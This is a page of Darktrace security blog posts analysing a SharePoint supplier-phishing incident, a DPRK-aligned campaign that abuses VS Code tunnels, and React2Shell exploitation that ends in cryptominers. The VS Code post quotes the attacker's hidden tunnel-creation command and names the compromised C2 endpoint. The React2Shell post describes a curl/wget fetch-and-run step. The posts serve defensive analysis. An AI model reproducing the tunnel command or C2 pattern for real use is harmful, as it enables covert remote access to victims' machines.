August 7, 2024

How Darktrace’s AI Applies a Zero-Trust Mentality within Critical Infrastructure Supply Chains

Darktrace prevented a Critical National Infrastructure organization from falling victim to a SharePoint phishing attack originating from one of its trusted suppliers. This blog discusses common perceptions of zero-trust in email security, how AI that uses anomaly-based threat detection embodies core zero-trust principles and the relevance of this approach to securing CNI bodies with complex but interdependent supply chains from Cloud account compromise.

Written by

Nicole Wong

Cyber Security Analyst

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nicole Wong

Cyber Security Analyst

Aug 2024

Note: In order to name anonymity, real organization names have been replaced, all names used in this blog are fictitious.

What are critical national infrastructure sectors?

Critical National Infrastructure (CNI) sectors encompass of assets, systems, and networks essential to the functioning of society. Any disruption or destruction of these sectors could have wide-reaching and potentially disastrous effects on a country’s economy, security and/or healthcare services [1].

Cyber risks across Transportation Systems sector

Transportation Systems is one such CNI sector comprising of interconnected networks of fixed and mobile assets managed by both public and private operators. These systems are highly interdependent with other CNI sectors too. As such, the digital technologies this sector relies on – such as positioning and tracking, signaling, communications, industrial system controls, and data and business management – are often interconnected through different networks and remote access terminals. This interconnectedness creates multiple entry points that need to be security across the supply.

Digital transformation has swept through CNI sectors in recent years, including Transportation Systems. These organizations are now increasingly dependent on third-party and cloud providers for data storage and transmission, making their supply chains vulnerable to exploitation by malicious actors [2].

The exploitation of legitimate and popular cloud services mirrors the well-known “living-off-the-land” techniques, which are not being adapted to the cloud along with the resources they support. In one recent case previously discussed by Darktrace, for example, a phishing attack attempted to abuse Dropbox to deliver malicious payloads.

Zero-Trust within CNI Sectors

One recommended approach to secure an organization’s supply chain and cloud environments is the implementation of zero-trust strategies, which remove inherent trust within the network [3] [4]. The principle of “never trust, always verify” is widely recognized as an architectural design, with 63% of organizations surveyed by Gartner reportedly implementing a zero-trust strategy, but in most cases to less than 50% of their environments [5]

Although this figure reflects the reality and challenge of balancing operations and security, demands from the threat landscape and supply chain risks mean that organizations must adopt zero-trust principles in areas not traditionally considered part of network architecture, such as email and cloud environments.

Email is often the primary entry point for cyber-attacks with Business Email Compromise (BEC) being a major threat to CNI organizations. However, the application of zero-trust principles to secure email environments is still not well understood. Common misconceptions include:

“Positively identifying known and trusted senders” – Maintaining a list of “known and trusted senders” contradicts the zero-trust model, which assumes that no entity is inherently trustworthy.
“Using DMARC, DKIM and SPF” – While these protocols offer some protection, they are often insufficient on their own, as they can be bypassed and do not protect against email account takeovers. Research published from Darktrace’s last two threat reports consistently shows that at least 60% of phishing emails detected by Darktrace had bypassed Domain-based Message Authentication, Reporting & Conformance (DMARC) [6] [7].
“Mapping transaction flows between internal and external users to determine what access is required/not required” – Although this aligns with the principles of least privilege, it is too static for today’s dynamic supply chains and evolving digital infrastructure. This approach also suggests the existence of “trusted” access routes into a network.

Attack Overview

In July 2024, Darktrace / EMAIL™ detected and contained a sophisticated phishing attack leveraging Microsoft SharePoint. This attack exploited the trusted relationship between a Darktrace customer in the public transport sector and a compromised supplier. Traditional methods, such as those detailed above, would likely have failed to defend against such an advanced threat. However, Darktrace’s behavioral analysis and zero-trust approach to email security allowed it to successfully identify and neutralize the attack, preventing any potential disruption.

Initial Intrusion Attempt

The observed phishing attack by Darktrace would suggest that the customer’s supplier was targeted by a similar campaign beforehand. This initial breach likely allowed the attacker to use the now compromised account as a vector to compromise additional accounts and networks.

On July 9, Darktrace / EMAIL identified a significant spike in inbound emails from “supplier@engineeringcompany[.]com”. The emails appeared to be legitimate notifications sent via SharePoint and contained a file named “Payment Applications Docs”.

Figure 1: Email correspondence in the weeks around the phishing attack. The sender is an established correspondent with ongoing communications prior to and after the attack, however there is a significant spike in incoming emails on the day of the attack.

This reflects a common technique in malicious social engineering attempts, where references to payment are used to draw attention and prompt a response. Darktrace observed a large number of recipients within the organization receiving the same file, suggesting that the motive was likely credential harvesting rather than financial gain. Financially motivated attacks typically require a more targeted, ‘under-the-radar’ approach to be successful.

These phishing emails were able to bypass the customer’s email gateways as they were sent from a trusted and authoritative source, SharePoint, and utilized an email address with which the customer had previously corresponded. The compromised account was likely whitelisted by traditional email security tools that rely on SPF, DKIM, and DMAC, allowing the malicious emails to evade detection.

Autonomous Response

Darktrace / EMAIL analysis of the unusual characteristics of the phishing email in relation to the supplier’s typical behaviour, despite the email originating from a legitimate SharePoint notification. — Figure 2: Darktrace / EMAIL analysis of the unusual characteristics of the phishing email in relation to the supplier’s typical behavior, despite the email originating from a legitimate SharePoint notification.

However, Darktrace / EMAIL did not use these static rules to automatically trust the email. Darktrace’s Self-Learning AI detected the following anomalies:

Although the sender was known, it was not normal for the supplier to share files with the customer via SharePoint.
The supplier initiated an unusually large number of file shares in a short period of time, indicating potential spam activity.
The SharePoint link had wide access permissions, which is unusual for a sensitive payment document legitimately shared between established contacts.

Darktrace understood that the email activity constituted a significant deviation in expected behavior between the sender and customer, regardless of the known sender and use of a legitimate filesharing platform like SharePoint.

As a result, Darktrace took action to hold more than 100 malicious emails connected to the phishing attack, preventing them from landing in recipient inboxes in the first instance. By taking a behavioral approach to securing customer email environments, Darktrace’s Self-Learning AI embodies the principles of zero trust, assessing each interaction in real-time against a user’s dynamic baseline rather than relying on static and often inaccurate rules to define trust.

Conclusion

Cloud services, such as SharePoint, offer significant advantages to the transportation sector by streamlining data exchange with supply chain partners and facilitating access to information for analytics and planning. However, these benefits come with notable risks. If a cloud account is compromised, unauthorized access to sensitive information could lead to extortion and lateral movement into mission-critical systems for more damaging attacks on CNI. Even a brief disruption in cloud access can have severe economic repercussions due to the sector’s dependence on these services for resource coordination and the cascading impacts on other critical systems [9].

While supply chain resilience is often evaluated based on a supplier’s initial compliance with baseline standards, organizations must be wary of potential future threats and focus on post-implementation security. It is essential for organizations to employ strategies to protect their assets from attacks that would exploit vulnerabilities within the trusted supply chain. Given that CNI and the transportation sector are prime targets for state-sponsored actors and Advanced Persistent Threat (APT) groups, the complex and interconnected nature of their supply chains opens the door for opportunistic attackers.

Defenders face the challenge of ensuring secure access and collaboration across numerous, dynamic assets, often without full visibility. Therefore, security solutions must be as dynamic as the threats they face, avoiding reliance on static rules. Real-time assessment of devices behavior, even if deemed trusted by end-users and human security teams, is crucial for maintaining security.

Darktrace’s AI-driven threat detection aligns with the zero-trust principle of assuming the risk of a breach. By leveraging AI that learns an organization’s specific patterns of life, Darktrace provides a tailored security approach ideal for organizations with complex supply chains.

Credit to Nicole Wong, Senior Cyber Analyst Consultant and Ryan Traill, Threat Content Lead

Appendices

Darktrace Model Detections

Key model alerts:

Personalized Sharepoint Share + New Unknown Link
Personalized Sharepoint Share + Bad Display Text
Personalized Sharepoint Share + Distant Recipient Interaction with Domain
Personalized Sharepoint Share + Sender Surge
Personalized Sharepoint Share + Wide Access Sharepoint Link

MITRE ATT&CK Mapping

Resource Development • Compromise Accounts: Cloud Accounts • T1586.003

Initial Access • Supply Chain Compromise • T1195

References

[1] https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors

[2] https://committees.parliament.uk/writtenevidence/126313/pdf/

[3] https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-161r1.pdf

[4] https://cloudsecurityalliance.org/press-releases/2023/11/15/cloud-security-alliance-launches-the-industry-s-first-authoritative-zero-trust-training-and-credential-the-certificate-of-competence-in-zero-trust-cczt

[5] https://www.gartner.com/en/documents/5286863#:~:text=Summary,anticipate%20staffing%20and%20cost%20increases.

[6] https://darktrace.com/threat-report-2023

[7] https://darktrace.com/resources/first-6-half-year-threat-report-2024

[8] https://dfrlab.org/2023/07/10/critical-infrastructure-and-the-cloud-policy-for-emerging-risk/#transportation

[9] https://access-national-risk-register.service.cabinetoffice.gov.uk/risk-scenario/cyber-attack-transport-sector

Written by

Nicole Wong

Cyber Security Analyst

Inside the SOC

Written by

Nicole Wong

Cyber Security Analyst

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

Blog

Network

January 22, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to https://www.yespp.co.kr/common/include/code/out.php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Check out this article by Darktrace: How Darktrace’s AI Applies a Zero-Trust Mentality within Critical Infrastructure Supply Chains

How Darktrace’s AI Applies a Zero-Trust Mentality within Critical Infrastructure Supply Chains

What are critical national infrastructure sectors?

Cyber risks across Transportation Systems sector

Zero-Trust within CNI Sectors